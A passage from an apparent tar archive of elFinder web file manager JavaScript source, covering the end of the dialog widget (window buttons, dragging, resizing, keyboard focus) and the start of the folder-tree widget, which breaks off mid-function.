			buttonpane = jQuery('<div class=" ui-helper-clearfix ui-dialog-buttonpane ui-widget-content"></div>')
				.append(buttonset),
			btnWidth   = 0,
			btnCnt     = 0,
			tabstops   = jQuery(),
			evCover    = jQuery('<div style="width:100%;height:100%;position:absolute;top:0px;left:0px;"></div>').hide(),
			numberToTel = function() {
				if (opts.optimizeNumber) {
					dialog.find('input[type=number]').each(function() {
						jQuery(this).attr('inputmode', 'numeric');
						jQuery(this).attr('pattern', '[0-9]*');
					});
				}
			},
			tabstopsInit = function() {
				tabstops = dialog.find('.'+cltabstop);
				if (tabstops.length) {
					tabstops.attr('tabindex', '-1');
					if (! tabstops.filter('.'+cl1stfocus).length) {
						buttonset.children('.'+cltabstop+':'+(platformWin? 'first' : 'last')).addClass(cl1stfocus);
					}
				}
			},
			tabstopNext = function(cur) {
				var elms = tabstops.filter(':visible:enabled'),
					node = cur? null : elms.filter('.'+cl1stfocus+':first');
					
				if (! node || ! node.length) {
					node = elms.first();
				}
				if (cur) {
					jQuery.each(elms, function(i, elm) {
						if (elm === cur && elms[i+1]) {
							node = elms.eq(i+1);
							return false;
						}
					});
				}
				return node;
			},
			tabstopPrev = function(cur) {
				var elms = tabstops.filter(':visible:enabled'),
					node = elms.last();
				jQuery.each(elms, function(i, elm) {
					if (elm === cur && elms[i-1]) {
						node = elms.eq(i-1);
						return false;
					}
				});
				return node;
			},
			makeHeaderBtn = function() {
				jQuery.each(opts.headerBtnOrder.split(':').reverse(), function(i, v) {
					headerBtns[v] && headerBtns[v]();
				});
				if (platformWin) {
					titlebar.children('.elfinder-titlebar-button').addClass('elfinder-titlebar-button-right');
				}
			},
			headerBtns = {
				close: function() {
					titlebar.prepend(jQuery('<span class="ui-widget-header ui-dialog-titlebar-close ui-corner-all elfinder-titlebar-button"><span class="ui-icon ui-icon-closethick"></span></span>')
						.on('mousedown touchstart', function(e) {
							e.preventDefault();
							e.stopPropagation();
							self.elfinderdialog('close');
						})
					);
				},
				maximize: function() {
					if (opts.allowMaximize) {
						dialog.on('resize', function(e, data) {
							var full, elm;
							e.preventDefault();
							e.stopPropagation();
							if (data && data.maximize) {
								elm = titlebar.find('.elfinder-titlebar-full');
								full = (data.maximize === 'on');
								elm.children('span.ui-icon')
									.toggleClass('ui-icon-plusthick', ! full)
									.toggleClass('ui-icon-arrowreturnthick-1-s', full);
								if (full) {
									try {
										dialog.hasClass('ui-draggable') && dialog.draggable('disable');
										dialog.hasClass('ui-resizable') && dialog.resizable('disable');
									} catch(e) {}
									self.css('width', '100%').css('height', dialog.height() - dialog.children('.ui-dialog-titlebar').outerHeight(true) - buttonpane.outerHeight(true));
								} else {
									self.attr('style', elm.data('style'));
									elm.removeData('style');
									posCheck();
									try {
										dialog.hasClass('ui-draggable') && dialog.draggable('enable');
										dialog.hasClass('ui-resizable') && dialog.resizable('enable');
									} catch(e) {}
								}
								dialog.trigger('resize', {init: true});
							}
						});
					}
					
				},
				minimize: function() {
					var btn, mnode, doffset;
					if (opts.allowMinimize) {
						btn = jQuery('<span class="ui-widget-header ui-corner-all elfinder-titlebar-button elfinder-titlebar-minimize"><span class="ui-icon ui-icon-minusthick"></span></span>')
							.on('mousedown touchstart', function(e) {
								var $this = jQuery(this),
									tray = fm.getUI('bottomtray'),
									dumStyle = { width: 70, height: 24 },
									dum = jQuery('<div></div>').css(dumStyle).addClass(dialog.get(0).className + ' elfinder-dialog-minimized'),
									close = function() {
										mnode.remove();
										dialog.removeData('minimized').show();
										self.elfinderdialog('close');
									},
									pos = {};
								
								e.preventDefault();
								e.stopPropagation();
								if (!dialog.data('minimized')) {
									// minimize
									doffset = dialog.data('minimized', {
										dialog : function() { return mnode; },
										show : function() { mnode.show(); },
										hide : function() { mnode.hide(); },
										close : close,
										title : function(v) { mnode.children('.ui-dialog-titlebar').children('.elfinder-dialog-title').text(v); }
									}).position();
									mnode = dialog.clone().on('mousedown', function() {
										$this.trigger('mousedown');
									}).removeClass('ui-draggable ui-resizable elfinder-frontmost');
									tray.append(dum);
									Object.assign(pos, dum.offset(), dumStyle);
									dum.remove();
									mnode.height(dialog.height()).children('.ui-dialog-content:first').empty();
									fm.toHide(dialog.before(mnode));
									mnode.children('.ui-dialog-content:first,.ui-dialog-buttonpane,.ui-resizable-handle').remove();
									mnode.find('.elfinder-titlebar-minimize,.elfinder-titlebar-full').remove();
									mnode.find('.ui-dialog-titlebar-close').on('mousedown', function(e) {
										e.stopPropagation();
										e.preventDefault();
										close();
									});
									mnode.animate(pos, function() {
										mnode.attr('style', '')
										.css({ maxWidth: dialog.width() })
										.addClass('elfinder-dialog-minimized')
										.appendTo(tray);
										checkEditing();
										typeof(opts.minimize) === 'function' && opts.minimize.call(self[0]);
									});
								} else {
									//restore
									dialog.removeData('minimized').before(mnode.css(Object.assign({'position': 'absolute'}, mnode.offset())));
									fm.toFront(mnode);
									mnode.animate(Object.assign({ width: dialog.width(), height: dialog.height() }, doffset), function() {
										dialog.show();
										fm.toFront(dialog);
										mnode.remove();
										posCheck();
										checkEditing();
										dialog.trigger('resize', {init: true});
										typeof(opts.minimize) === 'function' && opts.minimize.call(self[0]);
									});
								}
							});
						titlebar.on('dblclick', function(e) {
							jQuery(this).children('.elfinder-titlebar-minimize').trigger('mousedown');
						}).prepend(btn);
						dialog.on('togleminimize', function() {
							btn.trigger('mousedown');
						});
					}
				}
			},
			dialog = jQuery('<div class="ui-front ui-dialog ui-widget ui-widget-content ui-corner-all ui-draggable std42-dialog touch-punch '+cldialog+' '+opts.cssClass+'"></div>')
				.hide()
				.append(self)
				.appendTo(elfNode)
				.draggable({
					containment : fm.options.dialogContained? elfNode : null,
					handle : '.ui-dialog-titlebar',
					start : function() {
						evCover.show();
					},
					drag : function(e, ui) {
						var top = ui.offset.top,
							left = ui.offset.left;
						if (top < 0) {
							ui.position.top = ui.position.top - top;
						}
						if (left < 0) {
							ui.position.left = ui.position.left - left;
						}
						if (fm.options.dialogContained) {
							ui.position.top < 0 && (ui.position.top = 0);
							ui.position.left < 0 && (ui.position.left = 0);
						}
					},
					stop : function(e, ui) {
						evCover.hide();
						dialog.css({height : opts.height});
						self.data('draged', true);
					}
				})
				.css({
					width     : opts.width,
					height    : opts.height,
					minWidth  : opts.minWidth,
					minHeight : opts.minHeight,
					maxWidth  : opts.maxWidth,
					maxHeight : opts.maxHeight
				})
				.on('touchstart touchmove touchend click dblclick mouseup mouseenter mouseleave mouseout mouseover mousemove', function(e) {
					// stopPropagation of user action events
					!propagationEvents[e.type] && e.stopPropagation();
				})
				.on('mousedown', function(e) {
					!propagationEvents[e.type] && e.stopPropagation();
					requestAnimationFrame(function() {
						if (dialog.is(':visible') && !dialog.hasClass('elfinder-frontmost')) {
							toFocusNode = jQuery(':focus');
							if (!toFocusNode.length) {
								toFocusNode = void(0);
							}
							dialog.trigger('totop');
						}
					});
				})
				.on('open', function() {
					dialog.data('margin-y', self.outerHeight(true) - self.height());
					if (syncSize.enabled) {
						if (opts.height && opts.height !== 'auto') {
							dialog.trigger('resize', {init: true});
						}
						if (!syncSize.defaultSize) {
							syncSize.defaultSize = { width: self.width(), height: self.height() };
						}
						fitSize(dialog);
						dialog.trigger('resize').trigger('posinit');
						elfNode.on('resize.'+fm.namespace, dialog, syncFunc);
					}
					
					if (!dialog.hasClass(clnotify)) {
						elfNode.children('.'+cldialog+':visible:not(.'+clnotify+')').each(function() {
							var d     = jQuery(this),
								top   = parseInt(d.css('top')),
								left  = parseInt(d.css('left')),
								_top  = parseInt(dialog.css('top')),
								_left = parseInt(dialog.css('left')),
								ct    = Math.abs(top - _top) < 10,
								cl    = Math.abs(left - _left) < 10;

							if (d[0] != dialog[0] && (ct || cl)) {
								dialog.css({
									top  : ct ? (top + 10) : _top,
									left : cl ? (left + 10) : _left
								});
							}
						});
					} 
					
					if (dialog.data('modal')) {
						dialog.addClass(clmodal);
						fm.getUI('overlay').elfinderoverlay('show');
					}
					
					dialog.trigger('totop');
					
					opts.openMaximized && fm.toggleMaximize(dialog);

					fm.trigger('dialogopen', {dialog: dialog});

					typeof(opts.open) == 'function' && jQuery.proxy(opts.open, self[0])();
					
					if (opts.closeOnEscape) {
						jQuery(document).on('keydown.'+id, function(e) {
							if (e.keyCode == jQuery.ui.keyCode.ESCAPE && dialog.hasClass('elfinder-frontmost')) {
								self.elfinderdialog('close');
							}
						});
					}
					dialog.hasClass(fm.res('class', 'editing')) && checkEditing();
				})
				.on('close', function(e) {
					var dialogs, dfd;
					
					if (opts.beforeclose && typeof opts.beforeclose === 'function') {
						dfd = opts.beforeclose();
						if (!dfd || !dfd.promise) {
							dfd = !dfd? jQuery.Deferred().reject() : jQuery.Deferred().resolve();
						}
					} else {
						dfd = jQuery.Deferred().resolve();
					}
					
					dfd.done(function() {
						syncSize.enabled && elfNode.off('resize.'+fm.namespace, syncFunc);
						
						if (opts.closeOnEscape) {
							jQuery(document).off('keyup.'+id);
						}
						
						if (opts.allowMaximize) {
							fm.toggleMaximize(dialog, false);
						}
						
						fm.toHide(dialog);
						dialog.data('modal') && fm.getUI('overlay').elfinderoverlay('hide');
						
						if (typeof(opts.close) == 'function') {
							jQuery.proxy(opts.close, self[0])();
						}
						if (opts.destroyOnClose && dialog.parent().length) {
							dialog.hide().remove();
						}
						
						// get focus to next dialog
						dialogs = elfNode.children('.'+cldialog+':visible');
						
						dialog.hasClass(fm.res('class', 'editing')) && checkEditing();
					});
				})
				.on('totop frontmost', function() {
					var s = fm.storage('autoFocusDialog');
					
					dialog.data('focusOnMouseOver', s? (s > 0) : fm.options.uiOptions.dialog.focusOnMouseOver);
					
					if (dialog.data('minimized')) {
						titlebar.children('.elfinder-titlebar-minimize').trigger('mousedown');
					}
					
					if (!dialog.data('modal') && fm.getUI('overlay').is(':visible')) {
						fm.getUI('overlay').before(dialog);
					} else {
						fm.toFront(dialog);
					}
					elfNode.children('.'+cldialog+':not(.'+clmodal+')').removeClass(clactive);
					dialog.addClass(clactive);

					! fm.UA.Mobile && (toFocusNode || tabstopNext()).trigger('focus');

					toFocusNode = void(0);
				})
				.on('posinit', function() {
					var css = opts.position,
						nodeOffset, minTop, minLeft, outerSize, win, winSize, nodeFull;
					if (dialog.hasClass('elfinder-maximized')) {
						return;
					}
					if (! css && ! dialog.data('resizing')) {
						nodeFull = elfNode.hasClass('elfinder-fullscreen') || fm.options.enableAlways;
						dialog.css(nodeFull? {
							maxWidth  : '100%',
							maxHeight : '100%',
							overflow   : 'auto'
						} : restoreStyle);
						if (fm.UA.Mobile && !nodeFull && dialog.data('rotated') === fm.UA.Rotated) {
							return;
						}
						dialog.data('rotated', fm.UA.Rotated);
						win = jQuery(window);
						nodeOffset = elfNode.offset();
						outerSize = {
							width : dialog.outerWidth(true),
							height: dialog.outerHeight(true)
						};
						outerSize.right = nodeOffset.left + outerSize.width;
						outerSize.bottom = nodeOffset.top + outerSize.height;
						winSize = {
							scrLeft: win.scrollLeft(),
							scrTop : win.scrollTop(),
							width  : win.width(),
							height : win.height()
						};
						winSize.right = winSize.scrLeft + winSize.width;
						winSize.bottom = winSize.scrTop + winSize.height;
						
						if (fm.options.dialogContained || nodeFull) {
							minTop = 0;
							minLeft = 0;
						} else {
							minTop = nodeOffset.top * -1 + winSize.scrTop;
							minLeft = nodeOffset.left * -1 + winSize.scrLeft;
						}
						css = {
							top  : outerSize.height >= winSize.height? minTop  : Math.max(minTop, parseInt((elfNode.height() - outerSize.height)/2 - 42)),
							left : outerSize.width  >= winSize.width ? minLeft : Math.max(minLeft, parseInt((elfNode.width() - outerSize.width)/2))
						};
						if (outerSize.right + css.left > winSize.right) {
							css.left = Math.max(minLeft, winSize.right - outerSize.right);
						}
						if (outerSize.bottom + css.top > winSize.bottom) {
							css.top = Math.max(minTop, winSize.bottom - outerSize.bottom);
						}
					}
					if (opts.absolute) {
						css.position = 'absolute';
					}
					css && dialog.css(css);
				})
				.on('resize', function(e, data) {
					var oh = 0, init = data && data.init, h, minH, maxH, autoH;
					if ((data && (data.minimize || data.maxmize)) || dialog.data('minimized')) {
						return;
					}
					e.stopPropagation();
					e.preventDefault();
					dialog.children('.ui-widget-header,.ui-dialog-buttonpane').each(function() {
						oh += jQuery(this).outerHeight(true);
					});
					autoH = (opts.height === 'auto')? true : false;
					if (autoH) {
						self.css({'max-height': '', 'height': 'auto'});
					}
					if (!init && syncSize.enabled && !e.originalEvent && !dialog.hasClass('elfinder-maximized')) {
						h = dialog.height();
						minH = dialog.css('min-height') || h;
						maxH = dialog.css('max-height') || h;
						if (minH.match(/%/)) {
							minH = Math.floor((parseInt(minH) / 100) * dialog.parent().height());
						} else {
							minH = parseInt(minH);
						}
						if (maxH.match(/%/)) {
							maxH = Math.floor((parseInt(maxH) / 100) * dialog.parent().height());
						} else {
							maxH = parseInt(maxH);
						}
						h = Math.min((autoH? dialog.height() : syncSize.defaultSize.height), Math.max(maxH, minH) - oh - dialog.data('margin-y'));
					} else {
						h = dialog.height() - oh - dialog.data('margin-y');
					}
					self.css(autoH? 'max-height' : 'height', h);
					if (init) {
						return;
					}
					posCheck();
					minH = self.height();
					minH = (h < minH)? (minH + oh + dialog.data('margin-y')) : opts.minHeight;
					dialog.css('min-height', minH);
					dialog.data('hasResizable') && dialog.resizable('option', { minHeight: minH });
					if (typeof(opts.resize) === 'function') {
						jQuery.proxy(opts.resize, self[0])(e, data);
					}
				})
				.on('tabstopsInit', tabstopsInit)
				.on('focus', '.'+cltabstop, function() {
					jQuery(this).addClass(clhover).parent('label').addClass(clhover);
					this.id && jQuery(this).parent().find('label[for='+this.id+']').addClass(clhover);
				})
				.on('click', 'select.'+cltabstop, function() {
					var node = jQuery(this);
					node.data('keepFocus')? node.removeData('keepFocus') : node.data('keepFocus', true);
				})
				.on('blur', '.'+cltabstop, function() {
					jQuery(this).removeClass(clhover).removeData('keepFocus').parent('label').removeClass(clhover);
					this.id && jQuery(this).parent().find('label[for='+this.id+']').removeClass(clhover);
				})
				.on('mouseenter mouseleave', '.'+cltabstop+',label', function(e) {
					var $this = jQuery(this), labelfor;
					if (this.nodeName === 'LABEL') {
						if (!$this.children('.'+cltabstop).length && (!(labelfor = $this.attr('for')) || !jQuery('#'+labelfor).hasClass(cltabstop))) {
							return;
						}
					}
					if (opts.btnHoverFocus && dialog.data('focusOnMouseOver')) {
						if (e.type === 'mouseenter' && ! jQuery(':focus').data('keepFocus')) {
							$this.trigger('focus');
						}
					} else {
						$this.toggleClass(clhover, e.type == 'mouseenter');
					}
				})
				.on('keydown', '.'+cltabstop, function(e) {
					var $this = jQuery(this),
						esc, move, moveTo;
					if ($this.is(':focus')) {
						esc = e.keyCode === jQuery.ui.keyCode.ESCAPE;
						if (e.keyCode === jQuery.ui.keyCode.ENTER) {
							e.preventDefault();
							$this.trigger('click');
						}  else if (((e.keyCode === jQuery.ui.keyCode.TAB) && e.shiftKey) || e.keyCode === jQuery.ui.keyCode.LEFT || e.keyCode == jQuery.ui.keyCode.UP) {
							move = 'prev';
						}  else if (e.keyCode === jQuery.ui.keyCode.TAB || e.keyCode == jQuery.ui.keyCode.RIGHT || e.keyCode == jQuery.ui.keyCode.DOWN) {
							move = 'next';
						}
						if (move
								&&
							(
								($this.is('textarea') && !(e.ctrlKey || e.metaKey))
									||
								($this.is('select,span.ui-slider-handle') && e.keyCode !== jQuery.ui.keyCode.TAB)
									||
								($this.is('input:not(:checkbox,:radio)') && (!(e.ctrlKey || e.metaKey) && e.keyCode === jQuery.ui.keyCode[move === 'prev'? 'LEFT':'RIGHT']))
							)
						) {
							e.stopPropagation();
							return;
						}
						if (!esc) {
							e.stopPropagation();
						} else if ($this.is('input:not(:checkbox,:radio),textarea')) {
							if ($this.val() !== '') {
								$this.val('');
								e.stopPropagation();
							}
						}
						if (move) {
							e.preventDefault();
							(move === 'prev'? tabstopPrev : tabstopNext)(this).trigger('focus');
						}
					}
				})
				.data({modal: opts.modal}),
			posCheck = function() {
				var node = fm.getUI(),
					pos;
				if (node.hasClass('elfinder-fullscreen')) {
					pos = dialog.position();
					dialog.css('top', Math.max(Math.min(Math.max(pos.top, 0), node.height() - 100), 0));
					dialog.css('left', Math.max(Math.min(Math.max(pos.left, 0), node.width() - 200), 0));
				}
			},
			maxSize, toFocusNode;
		
		dialog.prepend(titlebar);

		makeHeaderBtn();

		jQuery.each(opts.buttons, function(name, cb) {
			var button = jQuery('<button type="button" class="ui-button ui-widget ui-state-default ui-corner-all ui-button-text-only '
					+'elfinder-btncnt-'+(btnCnt++)+' '
					+cltabstop
					+'"><span class="ui-button-text">'+name+'</span></button>')
				.on('click', jQuery.proxy(cb, self[0]));
			if (cb._cssClass) {
				button.addClass(cb._cssClass);
			}
			if (platformWin) {
				buttonset.append(button);
			} else {
				buttonset.prepend(button);
			}
		});
		
		if (buttonset.children().length) {
			dialog.append(buttonpane);
			
			dialog.show();
			buttonpane.find('button').each(function(i, btn) {
				btnWidth += jQuery(btn).outerWidth(true);
			});
			dialog.hide();
			btnWidth += 20;
			
			if (dialog.width() < btnWidth) {
				dialog.width(btnWidth);
			}
		}
		
		dialog.append(evCover);
		
		if (syncSize.enabled) {
			delta.width = dialog.outerWidth(true) - dialog.width() + ((dialog.outerWidth() - dialog.width()) / 2);
			delta.height = dialog.outerHeight(true) - dialog.height() + ((dialog.outerHeight() - dialog.height()) / 2);
		}
		
		if (fm.options.dialogContained) {
			maxSize = {
				maxWidth: elfNode.width() - delta.width,
				maxHeight: elfNode.height() - delta.height
			};
			opts.maxWidth = opts.maxWidth? Math.min(maxSize.maxWidth, opts.maxWidth) : maxSize.maxWidth;
			opts.maxHeight = opts.maxHeight? Math.min(maxSize.maxHeight, opts.maxHeight) : maxSize.maxHeight;
			dialog.css(maxSize);
		}
		
		restoreStyle = {
			maxWidth  : dialog.css('max-width'),
			maxHeight : dialog.css('max-height'),
			overflow   : dialog.css('overflow')
		};
		
		if (opts.resizable) {
			dialog.resizable({
				minWidth   : opts.minWidth,
				minHeight  : opts.minHeight,
				maxWidth   : opts.maxWidth,
				maxHeight  : opts.maxHeight,
				start      : function() {
					evCover.show();
					if (dialog.data('resizing') !== true && dialog.data('resizing')) {
						clearTimeout(dialog.data('resizing'));
					}
					dialog.data('resizing', true);
				},
				stop       : function(e, ui) {
					evCover.hide();
					dialog.data('resizing', setTimeout(function() {
						dialog.data('resizing', false);
					}, 200));
					if (syncSize.enabled) {
						syncSize.defaultSize = { width: self.width(), height: self.height() };
					}
				}
			}).data('hasResizable', true);
		} 
		
		numberToTel();
		
		tabstopsInit();
		
		typeof(opts.create) == 'function' && jQuery.proxy(opts.create, this)();
		
		if (opts.autoOpen) {
			if (opts.open) {
				requestAnimationFrame(function() {
					self.elfinderdialog('open');
				});
			} else {
				self.elfinderdialog('open');
			}
		}

		if (opts.resize) {
			fm.bind('themechange', function() {
				setTimeout(function() {
					dialog.data('margin-y', self.outerHeight(true) - self.height());
					dialog.trigger('resize', {init: true});
				}, 300);
			});
		}
	});
	
	return this;
};

jQuery.fn.elfinderdialog.defaults = {
	cssClass  : '',
	title     : '',
	modal     : false,
	resizable : true,
	autoOpen  : true,
	closeOnEscape : true,
	destroyOnClose : false,
	buttons   : {},
	btnHoverFocus : true,
	position  : null,
	absolute  : false,
	width     : 320,
	height    : 'auto',
	minWidth  : 200,
	minHeight : 70,
	maxWidth  : null,
	maxHeight : null,
	allowMinimize : 'auto',
	allowMaximize : false,
	openMaximized : false,
	headerBtnPos : 'auto',
	headerBtnOrder : 'auto',
	optimizeNumber : true,
	propagationEvents : ['mousemove', 'mouseup']
};tree.js000066600000121120151754206170006052 0ustar00/**
 * @class  elFinder folders tree
 *
 * @author Dmitry (dio) Levashov
 **/
jQuery.fn.elfindertree = function(fm, opts) {
	"use strict";
	var treeclass = fm.res('class', 'tree');
	
	this.not('.'+treeclass).each(function() {

		var c = 'class', mobile = fm.UA.Mobile,
			
			/**
			 * Root directory class name
			 *
			 * @type String
			 */
			root      = fm.res(c, 'treeroot'),

			/**
			 * Open root dir if not opened yet
			 *
			 * @type Boolean
			 */
			openRoot  = opts.openRootOnLoad,

			/**
			 * Open current work dir if not opened yet
			 *
			 * @type Boolean
			 */
			openCwd   = opts.openCwdOnOpen,

			
			/**
			 * Auto loading current directory parents and do expand their node
			 *
			 * @type Boolean
			 */
			syncTree  = openCwd || opts.syncTree,
			
			/**
			 * Subtree class name
			 *
			 * @type String
			 */
			subtree   = fm.res(c, 'navsubtree'),
			
			/**
			 * Directory class name
			 *
			 * @type String
			 */
			navdir    = fm.res(c, 'treedir'),
			
			/**
			 * Directory CSS selector
			 *
			 * @type String
			 */
			selNavdir = 'span.' + navdir,
			
			/**
			 * Collapsed arrow class name
			 *
			 * @type String
			 */
			collapsed = fm.res(c, 'navcollapse'),
			
			/**
			 * Expanded arrow class name
			 *
			 * @type String
			 */
			expanded  = fm.res(c, 'navexpand'),
			
			/**
			 * Class name to mark arrow for directory with already loaded children
			 *
			 * @type String
			 */
			loaded    = 'elfinder-subtree-loaded',
			
			/**
			 * Class name to mark need subdirs request
			 *
			 * @type String
			 */
			chksubdir = 'elfinder-subtree-chksubdir',
			
			/**
			 * Arraw class name
			 *
			 * @type String
			 */
			arrow = fm.res(c, 'navarrow'),
			
			/**
			 * Current directory class name
			 *
			 * @type String
			 */
			active    = fm.res(c, 'active'),
			
			/**
			 * Droppable dirs dropover class
			 *
			 * @type String
			 */
			dropover = fm.res(c, 'adroppable'),
			
			/**
			 * Hover class name
			 *
			 * @type String
			 */
			hover    = fm.res(c, 'hover'),
			
			/**
			 * Disabled dir class name
			 *
			 * @type String
			 */
			disabled = fm.res(c, 'disabled'),
			
			/**
			 * Draggable dir class name
			 *
			 * @type String
			 */
			draggable = fm.res(c, 'draggable'),
			
			/**
			 * Droppable dir  class name
			 *
			 * @type String
			 */
			droppable = fm.res(c, 'droppable'),
			
			/**
			 * root wrapper class
			 * 
			 * @type String
			 */
			wrapperRoot = 'elfinder-navbar-wrapper-root',

			/**
			 * Un-disabled cmd `paste` volume's root wrapper class
			 * 
			 * @type String
			 */
			pastable = 'elfinder-navbar-wrapper-pastable',
			
			/**
			 * Un-disabled cmd `upload` volume's root wrapper class
			 * 
			 * @type String
			 */
			uploadable = 'elfinder-navbar-wrapper-uploadable',
			
			/**
			 * Is position x inside Navbar
			 * 
			 * @param x Numbar
			 * 
			 * @return
			 */
			insideNavbar = function(x) {
				var left = navbar.offset().left;
					
				return left <= x && x <= left + navbar.width();
			},
			
			/**
			 * To call subdirs elements queue
			 * 
			 * @type Object
			 */
			subdirsQue = {},
			
			/**
			 * To exec subdirs elements ids
			 * 
			 */
			subdirsExecQue = [],
			
			/**
			 * Request subdirs to backend
			 * 
			 * @param id String
			 * 
			 * @return Deferred
			 */
			subdirs = function(ids) {
				var targets = [];
				jQuery.each(ids, function(i, id) {
					subdirsQue[id] && targets.push(fm.navId2Hash(id));
					delete subdirsQue[id];
				});
				if (targets.length) {
					return fm.request({
						data: {
							cmd: 'subdirs',
							targets: targets,
							preventDefault : true
						}
					}).done(function(res) {
						if (res && res.subdirs) {
							jQuery.each(res.subdirs, function(hash, subdirs) {
								var elm = fm.navHash2Elm(hash);
								elm.removeClass(chksubdir);
								elm[subdirs? 'addClass' : 'removeClass'](collapsed);
							});
						}
					});
				}
			},
			
			subdirsJobRes = null,
			
			/**
			 * To check target element is in window of subdirs
			 * 
			 * @return void
			 */
			checkSubdirs = function() {
				var ids = Object.keys(subdirsQue);
				if (ids.length) {
					subdirsJobRes && subdirsJobRes._abort();
					execSubdirsTm && clearTimeout(execSubdirsTm);
					subdirsExecQue = [];
					subdirsJobRes = fm.asyncJob(function(id) {
						return fm.isInWindow(jQuery('#'+id))? id : null;
					}, ids, { numPerOnce: 200 })
					.done(function(arr) {
						if (arr.length) {
							subdirsExecQue = arr;
							execSubdirs();
						}
					});
				}
			},
			
			subdirsPending = 0,
			execSubdirsTm,
			
			/**
			 * Exec subdirs as batch request
			 * 
			 * @return void
			 */
			execSubdirs = function() {
				var cnt = opts.subdirsMaxConn - subdirsPending,
					atOnce = fm.maxTargets? Math.min(fm.maxTargets, opts.subdirsAtOnce) : opts.subdirsAtOnce,
					i, ids;
				execSubdirsTm && cancelAnimationFrame(execSubdirsTm);
				if (subdirsExecQue.length) {
					if (cnt > 0) {
						for (i = 0; i < cnt; i++) {
							if (subdirsExecQue.length) {
								subdirsPending++;
								subdirs(subdirsExecQue.splice(0, atOnce)).always(function() {
									subdirsPending--;
									execSubdirs();
								});
							}
						}
					} else {
						execSubdirsTm = requestAnimationFrame(function() {
							subdirsExecQue.length && execSubdirs();
						});
					}
				}
			},
			
			drop = fm.droppable.drop,
			
			/**
			 * Droppable options
			 *
			 * @type Object
			 */
			droppableopts = jQuery.extend(true, {}, fm.droppable, {
				// show subfolders on dropover
				over : function(e, ui) {
					var dst    = jQuery(this),
						helper = ui.helper,
						cl     = hover+' '+dropover,
						hash, status;
					e.stopPropagation();
					helper.data('dropover', helper.data('dropover') + 1);
					dst.data('dropover', true);
					if (ui.helper.data('namespace') !== fm.namespace || ! fm.insideWorkzone(e.pageX, e.pageY)) {
						dst.removeClass(cl);
						helper.removeClass('elfinder-drag-helper-move elfinder-drag-helper-plus');
						return;
					}
					if (! insideNavbar(e.clientX)) {
						dst.removeClass(cl);
						return;
					}
					helper.removeClass('elfinder-drag-helper-move elfinder-drag-helper-plus');
					dst.addClass(hover);
					if (dst.is('.'+collapsed+':not(.'+expanded+')')) {
						dst.data('expandTimer', setTimeout(function() {
							dst.is('.'+collapsed+'.'+hover) && dst.children('.'+arrow).trigger('click');
						}, 500));
					}
					if (dst.is('.elfinder-ro,.elfinder-na')) {
						dst.removeClass(dropover);
						//helper.removeClass('elfinder-drag-helper-move elfinder-drag-helper-plus');
						return;
					}
					hash = fm.navId2Hash(dst.attr('id'));
					dst.data('dropover', hash);
					jQuery.each(ui.helper.data('files'), function(i, h) {
						if (h === hash || (fm.file(h).phash === hash && !ui.helper.hasClass('elfinder-drag-helper-plus'))) {
							dst.removeClass(cl);
							return false; // break jQuery.each
						}
					});
					if (helper.data('locked')) {
						status = 'elfinder-drag-helper-plus';
					} else {
						status = 'elfinder-drag-helper-move';
						if (e.shiftKey || e.ctrlKey || e.metaKey) {
							status += ' elfinder-drag-helper-plus';
						}
					}
					dst.hasClass(dropover) && helper.addClass(status);
					requestAnimationFrame(function(){ dst.hasClass(dropover) && helper.addClass(status); });
				},
				out : function(e, ui) {
					var dst    = jQuery(this),
						helper = ui.helper;
					e.stopPropagation();
					if (insideNavbar(e.clientX)) {
						helper.removeClass('elfinder-drag-helper-move elfinder-drag-helper-plus');
					}
					helper.data('dropover', Math.max(helper.data('dropover') - 1, 0));
					dst.data('expandTimer') && clearTimeout(dst.data('expandTimer'));
					dst.removeData('dropover')
					   .removeClass(hover+' '+dropover);
				},
				deactivate : function() {
					jQuery(this).removeData('dropover')
					       .removeClass(hover+' '+dropover);
				},
				drop : function(e, ui) {
					insideNavbar(e.clientX) && drop.call(this, e, ui);
				}
			}),
			
			spinner = jQuery(fm.res('tpl', 'navspinner')),
			
			/**
			 * Directory html template
			 *
			 * @type String
			 */
			tpl = fm.res('tpl', 'navdir'),
			
			/**
			 * Permissions marker html template
			 *
			 * @type String
			 */
			ptpl = fm.res('tpl', 'perms'),
			
			/**
			 * Lock marker html template
			 *
			 * @type String
			 */
			ltpl = fm.res('tpl', 'lock'),
			
			/**
			 * Symlink marker html template
			 *
			 * @type String
			 */
			stpl = fm.res('tpl', 'symlink'),
			
			/**
			 * Directory hashes that has more pages
			 * 
			 * @type Object
			 */
			hasMoreDirs = {},
			
			/**
			 * Html template replacement methods
			 *
			 * @type Object
			 */
			replace = {
				id          : function(dir) { return fm.navHash2Id(dir.hash); },
				name        : function(dir) { return fm.escape(dir.i18 || dir.name); },
				cssclass    : function(dir) {
					var cname = (dir.phash && ! dir.isroot ? '' : root)+' '+navdir+' '+fm.perms2class(dir);
					dir.dirs && !dir.link && (cname += ' ' + collapsed) && dir.dirs == -1 && (cname += ' ' + chksubdir);
					opts.getClass && (cname += ' ' + opts.getClass(dir));
					dir.csscls && (cname += ' ' + fm.escape(dir.csscls));
					return cname;
				},
				title       : function(dir) { return opts.attrTitle? (' title="' + fm.escape(fm.path(dir.hash, true) || dir.i18 || dir.name) + '"') : ''; },
				root        : function(dir) {
					var cls = '';
					if (!dir.phash || dir.isroot) {
						cls += ' '+wrapperRoot;
						if (!dir.disabled || dir.disabled.length < 1) {
							cls += ' '+pastable+' '+uploadable;
						} else {
							if (jQuery.inArray('paste', dir.disabled) === -1) {
								cls += ' '+pastable;
							}
							if (jQuery.inArray('upload', dir.disabled) === -1) {
								cls += ' '+uploadable;
							}
						}
						return cls;
					} else {
						return '';
					}
				},
				permissions : function(dir) { return !dir.read || !dir.write ? ptpl : ''; },
				symlink     : function(dir) { return dir.alias ? stpl : ''; },
				style       : function(dir) { return dir.icon ? fm.getIconStyle(dir) : ''; }
			},
			
			/**
			 * Return html for given dir
			 *
			 * @param  Object  directory
			 * @return String
			 */
			itemhtml = function(dir) {
				return tpl.replace(/(?:\{([a-z]+)\})/ig, function(m, key) {
					var res = replace[key] ? replace[key](dir) : (dir[key] || '');
					if (key === 'id' && dir.dirs == -1) {
						subdirsQue[res] = res;
					}
					return res;
				});
			},
			
			/**
			 * Return only dirs from files list
			 *
			 * @param  Array   files list
			 * @param  Boolean do check exists
			 * @return Array
			 */
			filter = function(files, checkExists) {
				return jQuery.map(files || [], function(f) {
					return (f.mime === 'directory' && (!checkExists || fm.navHash2Elm(f.hash).length)) ? f : null;
				});
			},
			
			/**
			 * Find parent subtree for required directory
			 *
			 * @param  String  dir hash
			 * @return jQuery
			 */
			findSubtree = function(hash) {
